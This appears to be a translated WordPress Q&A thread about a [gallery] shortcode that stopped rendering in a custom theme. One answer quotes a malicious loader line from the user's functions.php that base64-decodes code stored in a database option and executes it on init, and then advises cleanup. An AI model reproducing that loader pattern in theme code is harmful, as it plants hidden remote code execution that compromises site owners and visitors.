默认的Wordpress[图库]没有显示在自定义主题中


Default Wordpress [gallery] not showing up in custom theme

一切都很好,直到最近更新。[gallery]不再显示图像,并且它看起来也不包含在代码中。

下面是for page的循环:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

文本内容从the_content显示,但[画廊],这是在内容,不显示也不渲染成代码(所以问题不应该在javascript)。

这里是functions.php文件:http://pastebin.com/vfJpphgt(是的,我已经为画廊添加了主题支持,但没有更改)

你的网站被黑了

pastebin的最后一行是从数据库加载恶意代码:add_action('init', create_function('', implode("'n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

执行的代码将打乱WPQuery检索您的画廊媒体文件。这就是为什么[gallery]坏了。(事实上,这部分你可能很幸运。)

你可以在sucuri.net上找到关于这个恶意软件的条目。您应该检查服务器上的所有文件是否存在可疑行。虽然最可能的攻击途径是通过WordPress漏洞,但你应该更改WordPress和服务器上的所有密码。

删除恶意软件后,您可以使用Wordfence(我与插件或其作者没有任何关系)等工具清理WordPress。

尝试安装NextGEN图库插件,添加图库图像,并尝试在主页上显示,

https://wordpress.org/plugins/nextgen-gallery/

你在控制台看到任何javascript错误吗?

的输出是什么?
<?php echo do_shortcode('[gallery]');?>